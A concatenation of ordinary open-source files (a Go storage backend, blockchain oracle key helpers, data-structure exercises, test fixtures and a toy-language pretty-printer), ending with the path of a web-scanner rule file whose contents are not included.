u.String() + "?" + q.Encode() co, err := bu.GrantCompleteOptions(id, object, opt) if err != nil { return nil, err } info.Complete = co.Encode() info.Bucket = bu.Name info.ID = id info.Object = object info.SizeLimit = opt.SizeLimit info.ExpiredAt = expired return info, nil } func (b *LocalBucket) Download(bu *bucket.Bucket, objectname string, w io.Writer) (err error) { f, err := os.Open(b.localpath(objectname)) if err != nil { if os.IsNotExist(err) { return bucket.ErrNotFound } } defer f.Close() _, err = io.Copy(w, f) if err != nil { if os.IsNotExist(err) { return bucket.ErrNotFound } return err } return nil } func (b *LocalBucket) Upload(bu *bucket.Bucket, objectname string, body io.Reader) (err error) { lp := b.localpath(objectname) folder := filepath.Dir(lp) _, err = os.Stat(folder) if err == nil { return bucket.ErrExists } if !os.IsNotExist(err) { return err } os.MkdirAll(folder, util.DefaultFolderMode) file, err := os.Create(lp) if err != nil { return err } defer file.Close() _, err = io.Copy(file, body) return err } func (b *LocalBucket) serveHTTPDownload(w http.ResponseWriter, r *http.Request) { objectname := httprouter.GetParams(r).Get(bucket.RouterParamObject) simplehttpserver.ServeFile(b.localpath(objectname)).ServeHTTP(w, r) } func (b *LocalBucket) ServeHTTPDownload(w http.ResponseWriter, r *http.Request) { if !b.Public { bucketsmiddlewares.MiddlewareSignDownload(w, r, b.serveHTTPDownload) return } b.serveHTTPDownload(w, r) } func (b *LocalBucket) GetFileinfo(bu *bucket.Bucket, objectname string) (info *bucket.Fileinfo, err error) { stat, err := os.Stat(b.localpath(objectname)) if err != nil { if os.IsNotExist(err) { return nil, bucket.ErrNotFound } return nil, err } info = bucket.NewFileinfo() info.Size = stat.Size() info.Modtime = stat.ModTime().Unix() return info, nil } func (b *LocalBucket) RemoveFile(bu *bucket.Bucket, objectname string) error { err := os.Remove(b.localpath(objectname)) if err != nil { if os.IsNotExist(err) { return bucket.ErrNotFound } return err } return nil } func (b *LocalBucket) ThirdpartyUpload() bool { return false } func (b *LocalBucket) ThirdpartyDownload() bool { return false } func (b *LocalBucket) BucketType() string { return BucketType } func (b *LocalBucket) newCompleteInfo() *bucket.CompleteInfo { info := bucket.NewCompleteInfo() return info } func (b *LocalBucket) Complete(bu *bucket.Bucket, id string, objectname string, opt *bucket.Options) (info *bucket.CompleteInfo, err error) { stat, err := os.Stat(b.localpath(objectname)) if err != nil { if os.IsNotExist(err) { return nil, bucket.ErrNotFound } return nil, err } di, err := b.GrantDownloadInfo(bu, objectname, opt) if err != nil { return nil, err } info = b.newCompleteInfo() info.ID = id info.Bucket = bu.Name info.Object = objectname info.Size = stat.Size() info.Preview = di return info, nil } func (b *LocalBucket) Start() error { return nil } func (b *LocalBucket) Stop() error { return nil } func New() *LocalBucket { return &LocalBucket{} } func Builder(b *bucket.Bucket, loader func(v interface{}) error) error { lb := New() config := &Config{} err := loader(config) if err != nil { return err } err = config.ApplyTo(b, lb) if err != nil { return err } b.Engine = lb return nil } func init() { bucket.Builders[""] = Builder bucket.Builders[BucketType] = Builder }
InjectiveLabs/sdk-go
chain/oracle/types/key.go
package types import ( fmt "fmt" sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/crypto" ) const ( ModuleName = "oracle" StoreKey = ModuleName // MemStoreKey defines the in-memory store key MemStoreKey = "mem_capability" //// Version defines the current version the IBC module supports //Version = "bandchain-1" // //// PortID is the default port id that module binds to //PortID = "oracle" ) var ( // Keys for band store prefixes BandPriceKey = []byte{0x01} BandRelayerKey = []byte{0x02} // Keys for pricefeeder store prefixes PricefeedInfoKey = []byte{0x11} PricefeedPriceKey = []byte{0x12} PricefeedRelayerKey = []byte{0x13} CoinbasePriceKey = []byte{0x21} // Band IBC BandIBCPriceKey = []byte{0x31} LatestClientIDKey = []byte{0x32} BandIBCCallDataRecordKey = []byte{0x33} BandIBCOracleRequestIDKey = []byte{0x34} BandIBCParamsKey = []byte{0x35} LatestRequestIDKey = []byte{0x36} // Keys for chainlink price prefixes ChainlinkPriceKey = []byte{0x41} ) func GetBandPriceStoreKey(symbol string) []byte { return append(BandPriceKey, []byte(symbol)...) } func GetBandRelayerStoreKey(relayer sdk.AccAddress) []byte { return append(BandRelayerKey, relayer.Bytes()...) } func GetBandIBCOracleRequestIDKey(requestID uint64) []byte { return append(BandIBCOracleRequestIDKey, sdk.Uint64ToBigEndian(requestID)...) } func GetBandIBCPriceStoreKey(symbol string) []byte { return append(BandIBCPriceKey, []byte(symbol)...) } func GetBandIBCCallDataRecordKey(clientID uint64) []byte { return append(BandIBCCallDataRecordKey, sdk.Uint64ToBigEndian(clientID)...) } func GetBaseQuoteHash(oracleBase, oracleQuote string) common.Hash { return crypto.Keccak256Hash([]byte(oracleBase + oracleQuote)) } func GetPriceFeedInfoKey(priceFeedInfo *PriceFeedInfo) []byte { return append(PricefeedInfoKey, GetBaseQuoteHash(priceFeedInfo.Base, priceFeedInfo.Quote).Bytes()...) } func GetPriceFeedPriceStoreKey(baseQuoteHash common.Hash) []byte { return append(PricefeedPriceKey, baseQuoteHash.Bytes()...) } func GetPricefeedRelayerStoreKey(oracleBase, oracleQuote string, relayer sdk.AccAddress) []byte { return append(GetPricefeedRelayerStorePrefix(GetBaseQuoteHash(oracleBase, oracleQuote)), relayer.Bytes()...) } func GetPricefeedRelayerStorePrefix(baseQuoteHash common.Hash) []byte { return append(PricefeedRelayerKey, baseQuoteHash.Bytes()...) } func GetCoinbasePriceStoreKey(key string, timestamp uint64) []byte { timeKey := sdk.Uint64ToBigEndian(timestamp) return append(append(CoinbasePriceKey, []byte(key)...), timeKey...) } func GetCoinbasePriceStoreIterationKey(key string) []byte { return append(append(CoinbasePriceKey, []byte(key)...)) } func GetChainlinkPriceStoreKey(feedId string) []byte { feedIdBz := getPaddedFeedIdBz(feedId) buf := make([]byte, 0, len(ChainlinkPriceKey)+len(feedIdBz)) buf = append(buf, ChainlinkPriceKey...) buf = append(buf, feedIdBz...) return buf } func getPaddedFeedIdBz(feedId string) string { return fmt.Sprintf("%20s", feedId) }
wingkwong/competitive-programming
leetcode/problems/medium/208-implement-trie-prefix-tree.cpp
/* Implement Trie (Prefix Tree) Implement a trie with insert, search, and startsWith methods. Example: Trie trie = new Trie(); trie.insert("apple"); trie.search("apple"); // returns true trie.search("app"); // returns false trie.startsWith("app"); // returns true trie.insert("app"); trie.search("app"); // returns true Note: You may assume that all inputs are consist of lowercase letters a-z. All inputs are guaranteed to be non-empty strings. */ class TrieNode { public: bool isEndOfWord; TrieNode* children[26]; TrieNode() { isEndOfWord = false; for (int i = 0; i < 26; i++) children[i] = NULL; } }; class Trie { public: /** Initialize your data structure here. */ Trie() { root = new TrieNode(); } /** Inserts a word into the trie. */ void insert(string word) { TrieNode* node = root; int sz = (int)word.size(); for (int i = 0; i < sz; i++) { int idx = word[i] - 'a'; if (!node->children[idx]) node->children[idx] = new TrieNode(); node = node->children[idx]; } node->isEndOfWord = true; } /** Returns if the word is in the trie. */ bool search(string word) { TrieNode* node = root; int sz = (int)word.size(); for (int i = 0; i < sz; i++) { int idx = word[i] - 'a'; if (!node->children[idx]) return false; node = node->children[idx]; } return node->isEndOfWord; } /** Returns if there is any word in the trie that starts with the given * prefix. */ bool startsWith(string prefix) { TrieNode* node = root; int sz = (int)prefix.size(); for (int i = 0; i < sz; i++) { int idx = prefix[i] - 'a'; if (!node->children[idx]) return false; node = node->children[idx]; } return true; } private: TrieNode* root; }; /** * Your Trie object will be instantiated and called as such: * Trie* obj = new Trie(); * obj->insert(word); * bool param_2 = obj->search(word); * bool param_3 = obj->startsWith(prefix); */
Lonely-shang/gradle
subprojects/internal-integ-testing/src/main/groovy/org/gradle/integtests/fixtures/validation/ValidationProblemPropertyAnnotationHandler.java
<reponame>Lonely-shang/gradle /* * Copyright 2021 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.integtests.fixtures.validation; import com.google.common.collect.ImmutableSet; import org.gradle.api.internal.tasks.properties.BeanPropertyContext; import org.gradle.api.internal.tasks.properties.PropertyValue; import org.gradle.api.internal.tasks.properties.PropertyVisitor; import org.gradle.api.internal.tasks.properties.annotations.PropertyAnnotationHandler; import org.gradle.internal.reflect.AnnotationCategory; import org.gradle.internal.reflect.PropertyMetadata; import org.gradle.internal.reflect.problems.ValidationProblemId; import org.gradle.internal.reflect.validation.Severity; import org.gradle.internal.reflect.validation.TypeValidationContext; import java.lang.annotation.Annotation; import java.util.Optional; class ValidationProblemPropertyAnnotationHandler implements PropertyAnnotationHandler { @Override public Class<? extends Annotation> getAnnotationType() { return ValidationProblem.class; } @Override public ImmutableSet<? extends AnnotationCategory> getAllowedModifiers() { return ImmutableSet.of(AnnotationCategory.TYPE); } @Override public boolean isPropertyRelevant() { return true; } @Override public boolean shouldVisit(PropertyVisitor visitor) { return true; } @Override public void visitPropertyValue(String propertyName, PropertyValue value, PropertyMetadata propertyMetadata, PropertyVisitor visitor, BeanPropertyContext context) { } @Override public void validatePropertyMetadata(PropertyMetadata propertyMetadata, TypeValidationContext validationContext) { validationContext.visitPropertyProblem(problem -> problem.forProperty(propertyMetadata.getPropertyName()) .withId(ValidationProblemId.TEST_PROBLEM) .reportAs(annotationValue(propertyMetadata)) .withDescription("test problem") .documentedAt("id", "section") .happensBecause("this is a test") ); } private Severity annotationValue(PropertyMetadata propertyMetadata) { return Optional.ofNullable((ValidationProblem) propertyMetadata.getAnnotationForCategory(AnnotationCategory.TYPE)) .map(ValidationProblem::value) .orElse(Severity.WARNING); } }
neurala/via-native-plugins
stub/include/neurala/plugin/PluginArguments.h
/* * Copyright Neurala Inc. 2013-2022 * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and * associated documentation files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, publish, distribute, * sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: The above copyright notice and this * permission notice (including the next paragraph) shall be included in all copies or substantial * portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT * NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef NEURALA_PLUGIN_PLUGIN_ARGUMENTS_H #define NEURALA_PLUGIN_PLUGIN_ARGUMENTS_H #include <utility> #include <vector> #include "neurala/exports.h" #include "neurala/utils/detail/AnyRef.h" namespace neurala { /** * @brief Arguments for plugin instance creation. * * It type erases all arguments passed to it, but performs type checking at retrieval to avoid * incorrect casts. */ class NEURALA_PUBLIC PluginArguments { std::vector<AnyRef> m_args; public: /** * @brief Creates a new @ref PluginArguments object that type-erases @p t. */ template<class... T> explicit PluginArguments(T&... t) : m_args({t...}) { } /** * @brief Returns if this object has no arguments. */ bool empty() const noexcept { return m_args.empty(); } /** * @brief Returns the number of arguments stored in this object. */ std::size_t size() const noexcept { return m_args.size(); } /** * @brief Returns if the @p I -th argument is of type @p T. */ template<std::size_t I, class T> bool isOfType() const { return m_args.at(I).isOfType<T>(); } /** * @brief Returns the @p I -th argument, cast to type @p T. */ template<std::size_t I, class T> T& get() const { return m_args.at(I).get<T>(); } }; } // namespace neurala #endif // NEURALA_PLUGIN_PLUGIN_ARGUMENTS_H
wws11/ssm-
src/main/java/com/soecode/lyf/demo/datastruct/array/ArrayStack.java
package com.soecode.lyf.demo.datastruct.array; /** 基于数组实现的栈数据结构 * @author 魏文思 * @date 2019/8/30$ 16:08$ */ public class ArrayStack <E>{ private Array<E> array; public ArrayStack(int capacity){ array = new Array<>(capacity); } //获取栈的长度 public int getSize(){ return array.getSize(); } //判断栈的数据是否为空 public boolean isEmpty(){ return array.isEmpty(); } //获取栈的容量 public int getCapacity(){ return array.getCapacity(); } //入栈 public void push (E e){ array.addLast(e); } //出栈 public E pop(){ return array.removeLast(); } //获取栈顶的数据 public E peek(){ return array.getLast(); } @Override public String toString(){ StringBuilder res = new StringBuilder(); res.append("Stack: "); res.append('['); for(int i = 0 ; i < array.getSize() ; i ++){ res.append(array.get(i)); if(i != array.getSize() - 1) res.append(", "); } res.append("] top"); return res.toString(); } public static void main(String[] args) { ArrayStack<String> stringArrayStack = new ArrayStack<>(5); stringArrayStack.push("a"); stringArrayStack.push("b"); stringArrayStack.push("c"); stringArrayStack.push("d"); stringArrayStack.push("e"); stringArrayStack.push("f"); stringArrayStack.push("g"); stringArrayStack.push("h"); stringArrayStack.push("i"); stringArrayStack.push("j"); System.out.println("============================栈里全部的数据"); System.out.println(stringArrayStack.toString()); System.out.println("============================数据出栈"); System.out.println(stringArrayStack.pop()); System.out.println("============================栈顶数据"); System.out.println(stringArrayStack.peek()); } }
BetsyMcPhail/seal-tk
sealtk/core/VideoRequestor.cpp
/* This file is part of SEAL-TK, and is distributed under the OSI-approved BSD * 3-Clause License. See top-level LICENSE file or * https://github.com/Kitware/seal-tk/blob/master/LICENSE for details. */ #include <sealtk/core/VideoRequestor.hpp> namespace sealtk { namespace core { // ---------------------------------------------------------------------------- VideoRequestor::VideoRequestor(QObject* parent) : QObject{parent} { } } // namespace core } // namespace sealtk
raylia-w/workspace
SpringBoard/src/main/java/mvc/dao/FileDao.java
package mvc.dao; import mvc.dto.UploadFile; public interface FileDao { /** * 파일 업로드 기록 * @param uploadFile - 업로드한 파일의 정보 * property : original_filename - 원본파일명 * property : stored_filename - 저장파일명 * property : file_size - 파일 크기 */ public void insert(UploadFile uploadFile); }
Raistm/language-processor
procesamientos/impresion/Impresion.java
package procesamientos.impresion; import procesamientos.Procesamiento; import programa.Programa.CteInt; import programa.Programa.CteReal; import programa.Programa.CteString; import programa.Programa.CteBool; import programa.Programa.CteChar; import programa.Programa.Var; import programa.Programa.DRef; import programa.Programa.Suma; import programa.Programa.TArray; import programa.Programa.TNull; import programa.Programa.Prog; import programa.Programa.Real; import programa.Programa.RestInt; import programa.Programa.Resta; import programa.Programa.Select; import programa.Programa.StringR; import programa.Programa.DecVar; import programa.Programa.Distinto; import programa.Programa.Divi; import programa.Programa.ElementoCadena; import programa.Programa.DecTipo; import programa.Programa.IAsig; import programa.Programa.IBloque; import programa.Programa.INew; import programa.Programa.IFree; import programa.Programa.ICall; import programa.Programa.IDoWhile; import programa.Programa.IIf; import programa.Programa.IIfElse; import programa.Programa.ISwitch; import programa.Programa.IWhile; import programa.Programa.Igual; import programa.Programa.Index; import programa.Programa.And; import programa.Programa.Int; import programa.Programa.Lee; import programa.Programa.Mayor; import programa.Programa.MayorIgual; import programa.Programa.Menor; import programa.Programa.MenorIgual; import programa.Programa.Multi; import programa.Programa.Not; import programa.Programa.Null; import programa.Programa.Bool; import programa.Programa.CambiaSign; import programa.Programa.CampoReg; import programa.Programa.Case; import programa.Programa.Char; import programa.Programa.ConversionBool; import programa.Programa.ConversionChar; import programa.Programa.ConversionInt; import programa.Programa.ConversionReal; import programa.Programa.ConversionString; import programa.Programa.Error; import programa.Programa.Escribe; import programa.Programa.Ok; import programa.Programa.Or; import programa.Programa.TRef; import programa.Programa.TRegistro; import programa.Programa.TPointer; import programa.Programa.Exp; import programa.Programa.FParam; import programa.Programa.Inst; import programa.Programa.Dec; import programa.Programa.DecProc; public class Impresion extends Procesamiento { private boolean atributos; private int identacion; public Impresion(boolean atributos) { this.atributos = atributos; identacion = 0; } public Impresion() { this(false); } private void imprimeAtributos(Exp exp) { if(atributos) { System.out.print("@{t:"); exp.tipo().procesaCon(this); System.out.print("}"); } } private void imprimeAtributos(Prog prog) { if(atributos) { System.out.print("@{t:"+prog.tipo()+"}"); } } private void imprimeAtributos(Inst i) { if(atributos) { System.out.print("@{t:"+i.tipo()+",dirc:"+i.dirPrimeraInstruccion()+",dirs:"+ i.dirInstruccionSiguiente()+"}"); } } private void identa() { for (int i=0; i < identacion; i++) System.out.print(" "); } public void procesa(Null n) { System.out.print("null"); } public void procesa(INew i) { identa(); System.out.print("new "); i.mem().procesaCon(this); System.out.println(); } public void procesa(IFree i) { identa(); System.out.print("delete "); i.mem().procesaCon(this); System.out.println(); } public void procesa(String i) { System.out.print(i); } public void procesa(CteInt exp) { System.out.print(exp.valEntero()); imprimeAtributos(exp); } public void procesa(CteBool exp) { System.out.print(exp.valBool()); imprimeAtributos(exp); } public void procesa(CteReal exp) { System.out.print(exp.valReal()); imprimeAtributos(exp); } public void procesa(CteChar exp) { System.out.print(exp.valChar()); imprimeAtributos(exp); } public void procesa(CteString exp) { System.out.print(exp.valString()); imprimeAtributos(exp); } public void procesa(DRef mem) { System.out.print("(*"); mem.mem().procesaCon(this); System.out.print(")"); imprimeAtributos(mem); } public void procesa(Var exp) { System.out.print(exp.var()); imprimeAtributos(exp); } public void procesa(Suma exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print('+'); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Resta exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print('-'); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Multi exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print('*'); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Divi exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print('/'); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(RestInt exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print('%'); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(CambiaSign exp) { System.out.print('('); System.out.print("Cambia el signo de "); exp.opnd1().procesaCon(this); imprimeAtributos(exp); System.out.print(')'); } public void procesa(ElementoCadena exp) { System.out.print('('); System.out.print("Coge el elemento "); exp.opnd2().procesaCon(this); System.out.print(" de la cadena "); exp.opnd1().procesaCon(this); imprimeAtributos(exp); System.out.print(')'); } public void procesa(ConversionInt exp) { System.out.print('('); System.out.print("Convierte "); exp.opnd1().procesaCon(this); System.out.print(" a entero"); imprimeAtributos(exp); System.out.print(')'); } public void procesa(ConversionReal exp) { System.out.print('('); System.out.print("Convierte "); exp.opnd1().procesaCon(this); System.out.print(" a real"); imprimeAtributos(exp); System.out.print(')'); } public void procesa(ConversionChar exp) { System.out.print('('); System.out.print("Convierte "); exp.opnd1().procesaCon(this); System.out.print(" a char"); imprimeAtributos(exp); System.out.print(')'); } public void procesa(ConversionBool exp) { System.out.print('('); System.out.print("Convierte "); exp.opnd1().procesaCon(this); System.out.print(" a boolean"); imprimeAtributos(exp); System.out.print(')'); } public void procesa(ConversionString exp) { System.out.print('('); System.out.print("Convierte "); exp.opnd1().procesaCon(this); System.out.print(" a string"); imprimeAtributos(exp); System.out.print(')'); } public void procesa(Igual exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print("=="); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Mayor exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print('>'); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Menor exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print('<'); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(MayorIgual exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print(">="); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(MenorIgual exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print("<="); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Distinto exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print("!="); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(And exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print("&&"); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Or exp) { System.out.print('('); exp.opnd1().procesaCon(this); System.out.print("||"); imprimeAtributos(exp); exp.opnd2().procesaCon(this); System.out.print(')'); } public void procesa(Not exp) { System.out.print('('); System.out.print("!"); imprimeAtributos(exp); exp.opnd1().procesaCon(this); System.out.print(')'); } public void procesa(Lee i) { identa(); System.out.print("read("); i.var().procesaCon(this); System.out.print(')'); imprimeAtributos(i); System.out.println(); } public void procesa(Escribe i) { identa(); System.out.print("print("); i.exp().procesaCon(this); System.out.print(')'); imprimeAtributos(i); System.out.println(); } public void procesa(Prog p) { for(Dec d: p.decs()) d.procesaCon(this); p.inst().procesaCon(this); imprimeAtributos(p); System.out.println(); } public void procesa(DecVar v) { v.tipoDec().procesaCon(this); System.out.print(" "+v.var()); System.out.println(); } public void procesa(DecTipo t) { System.out.print("typedef "); t.tipoDec().procesaCon(this); System.out.print(" "+t.idtipo()); System.out.println(); } public void procesa(DecProc p) { identa(); System.out.print("proc " + p.idproc() + "("); int nparam = 0; for (FParam param : p.fparams()) { if (nparam > 0) System.out.print(","); nparam++; param.tipoDec().procesaCon(this); if (param.esParametroPorReferencia()) System.out.print("&"); else System.out.print(" "); System.out.print(param.var()); } System.out.println(")"); p.cuerpo().procesaCon(this); } public void procesa(TPointer t) { System.out.print("("); t.tbase().procesaCon(this); System.out.print("*)"); } public void procesa(TNull t) { System.out.print("("); System.out.print("null)"); } public void procesa(TArray t) { t.tbase().procesaCon(this); System.out.print("[" + t.dimension() + "]"); } public void procesa(TRef t) { System.out.print(t.idtipo()); } public void procesa(Index i) { i.buffer().procesaCon(this); System.out.print("["); i.index().procesaCon(this); System.out.print("]"); } public void procesa(TRegistro reg) { System.out.println("struct {"); identacion++; for (CampoReg campo : reg.getCampos()) { identa(); campo.getTipo().procesaCon(this); System.out.println(" " + campo.getId()); } identacion--; identa(); System.out.print("} "); } public void procesa(Select s) { s.registro().procesaCon(this); System.out.print("." + s.campo()); } public void procesa(Int t) { System.out.print(t); } public void procesa(Bool t) { System.out.print(t); } public void procesa(Real t) { System.out.print(t); } public void procesa(StringR t){ System.out.print(t); } public void procesa(Char t){ System.out.print(t); } public void procesa(Error t) { System.out.print(t); } public void procesa(Ok t) { System.out.print(t); } public void procesa(ICall c) { identa(); System.out.print(c.idproc() + "("); int nparam = 0; for (Exp param : c.aparams()) { if (nparam > 0) System.out.print(","); nparam++; param.procesaCon(this); } System.out.println(")"); } public void procesa(IAsig i) { identa(); i.mem().procesaCon(this); System.out.print("="); i.exp().procesaCon(this); imprimeAtributos(i); System.out.println(); } public void procesa(IBloque b) { identa(); System.out.println("{"); identacion += 3; for(Inst i: b.is()) i.procesaCon(this); identacion -=3; identa(); System.out.print("}"); imprimeAtributos(b); System.out.println(); } public void procesa(IWhile b) { identa(); System.out.print("while "); b.exp().procesaCon(this); System.out.println(" do {"); identacion += 3; b.cuerpo().procesaCon(this); identacion -=3; identa(); System.out.print("}"); imprimeAtributos(b); System.out.println(); } public void procesa(IIf b) { identa(); System.out.print("if "); b.exp().procesaCon(this); System.out.println(" do {"); identacion += 3; b.cuerpo().procesaCon(this); identacion -=3; identa(); System.out.print("}"); imprimeAtributos(b); System.out.println(); } public void procesa(IIfElse b) { identa(); System.out.print("if "); b.exp().procesaCon(this); System.out.println(" do {"); identacion += 3; b.cuerpo1().procesaCon(this); identacion -=3; identa(); System.out.println("} else do {"); identacion += 3; b.cuerpo2().procesaCon(this); identacion -=3; identa(); System.out.print("}"); imprimeAtributos(b); System.out.println(); } public void procesa(IDoWhile b){ identa(); System.out.println("do {"); identacion += 3; b.cuerpo().procesaCon(this); identacion -= 3; identa(); System.out.print("} while "); b.exp().procesaCon(this); imprimeAtributos(b); System.out.println(); } public void procesa(ISwitch s) { identa(); System.out.print("switch "); s.exp().procesaCon(this); System.out.println(" {"); identacion += 3; for (Case c : s.cases()) { identa(); System.out.print("case "); c.getVal().procesaCon(this); System.out.println(":"); identacion += 3; c.getInst().procesaCon(this); identacion -= 3; } if (s.defaultCase() != null) { identa(); System.out.println("default:"); identacion += 3; s.defaultCase().procesaCon(this); identacion -= 3; } identacion -= 3; identa(); System.out.println("}"); } }
davidbrownell/Common_cpp_Helpers
Libraries/C++/CommonHelpers/v1.0/CommonHelpers/Details/boost_extract/vmd/detail/match_identifier_common.hpp
<filename>Libraries/C++/CommonHelpers/v1.0/CommonHelpers/Details/boost_extract/vmd/detail/match_identifier_common.hpp // (C) Copyright <NAME> 2011-2015 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #if !defined(BOOST_VMD_DETAIL_MATCH_IDENTIFIER_COMMON_HPP) #define BOOST_VMD_DETAIL_MATCH_IDENTIFIER_COMMON_HPP #include "../../preprocessor/cat.hpp" #include "../is_empty.hpp" #include "idprefix.hpp" #define BOOST_VMD_DETAIL_MATCH_IDENTIFIER_OP_CREATE_ID_RESULT(id,keyid) \ BOOST_PP_CAT \ ( \ BOOST_VMD_DETAIL_IDENTIFIER_DETECTION_PREFIX, \ BOOST_PP_CAT \ ( \ keyid, \ BOOST_PP_CAT \ ( \ _, \ id \ ) \ ) \ ) \ /**/ #define BOOST_VMD_DETAIL_MATCH_IDENTIFIER_OP_CMP_IDS(id,keyid) \ BOOST_VMD_IS_EMPTY \ ( \ BOOST_VMD_DETAIL_MATCH_IDENTIFIER_OP_CREATE_ID_RESULT(id,keyid) \ ) \ /**/ #endif /* BOOST_VMD_DETAIL_MATCH_IDENTIFIER_COMMON_HPP */
Denise-Ng/stash
src/test/java/csdev/couponstash/model/coupon/savings/DateSavingsSumMapTest.java
<reponame>Denise-Ng/stash package csdev.couponstash.model.coupon.savings; import static org.junit.jupiter.api.Assertions.assertEquals; import java.time.LocalDate; import java.util.Arrays; import org.junit.jupiter.api.Test; /** * Unit tests for DateSavingsSumMap. */ public class DateSavingsSumMapTest { @Test public void add_existingEntriesInMap_notOverwritten() { // initial entries DateSavingsSumMap originalDssm = new DateSavingsSumMap(); originalDssm.put(LocalDate.of(2003, 8, 8), new PureMonetarySavings(new MonetaryAmount(80, 65), Arrays.asList(new Saveable("Havarti", 5), new Saveable("Brie", 9)))); originalDssm.put(LocalDate.of(2006, 5, 18), new PureMonetarySavings(new MonetaryAmount(91, 25))); originalDssm.put(LocalDate.of(2025, 10, 29), new PureMonetarySavings(new MonetaryAmount(11, 35), Arrays.asList(new Saveable("Mozzarella"), new Saveable("Gouda")))); originalDssm.put(LocalDate.of(2033, 8, 25), new PureMonetarySavings(new MonetaryAmount(34, 68))); // add new entries originalDssm.add(LocalDate.of(2033, 8, 25), new PureMonetarySavings(new MonetaryAmount(89, 28))); originalDssm.add(LocalDate.of(2036, 9, 14), new PureMonetarySavings(new MonetaryAmount(27, 71))); originalDssm.add(LocalDate.of(2003, 8, 8), new PureMonetarySavings(new MonetaryAmount(57, 83), Arrays.asList(new Saveable("Havarti", 12), new Saveable("Cheddar", 3)))); originalDssm.add(LocalDate.of(2083, 1, 15), new PureMonetarySavings(new MonetaryAmount(5, 0))); // expected result after addition DateSavingsSumMap expectedDssm = new DateSavingsSumMap(); expectedDssm.put(LocalDate.of(2036, 9, 14), new PureMonetarySavings(new MonetaryAmount(27, 71))); expectedDssm.put(LocalDate.of(2083, 1, 15), new PureMonetarySavings(new MonetaryAmount(5, 0))); expectedDssm.put(LocalDate.of(2033, 8, 25), new PureMonetarySavings(new MonetaryAmount(123, 96))); expectedDssm.put(LocalDate.of(2006, 5, 18), new PureMonetarySavings(new MonetaryAmount(91, 25))); expectedDssm.put(LocalDate.of(2003, 8, 8), new PureMonetarySavings(new MonetaryAmount(138, 48), Arrays.asList(new Saveable("Havarti", 17), new Saveable("Brie", 9), new Saveable("Cheddar", 3)))); expectedDssm.put(LocalDate.of(2025, 10, 29), new PureMonetarySavings(new MonetaryAmount(11, 35), Arrays.asList(new Saveable("Mozzarella"), new Saveable("Gouda")))); assertEquals(originalDssm, expectedDssm); } }
concordion/IdeaConcordionSupport
testData/action/after/CreateMethodFromUsage.java
<filename>testData/action/after/CreateMethodFromUsage.java package com.test; import org.concordion.integration.junit4.ConcordionRunner; import org.junit.runner.RunWith; @RunWith(ConcordionRunner.class) public class CreateMethodFromUsage { public A field; public A method() { return null; } public String createMe(String arg, A field, A method, String param3, String param4, String param5) { return null; } public static final class A { } }
koneko096/zap-extensions
addOns/ascanrulesAlpha/src/main/java/org/zaproxy/zap/extension/ascanrulesAlpha/SstiBlindScanRule.java
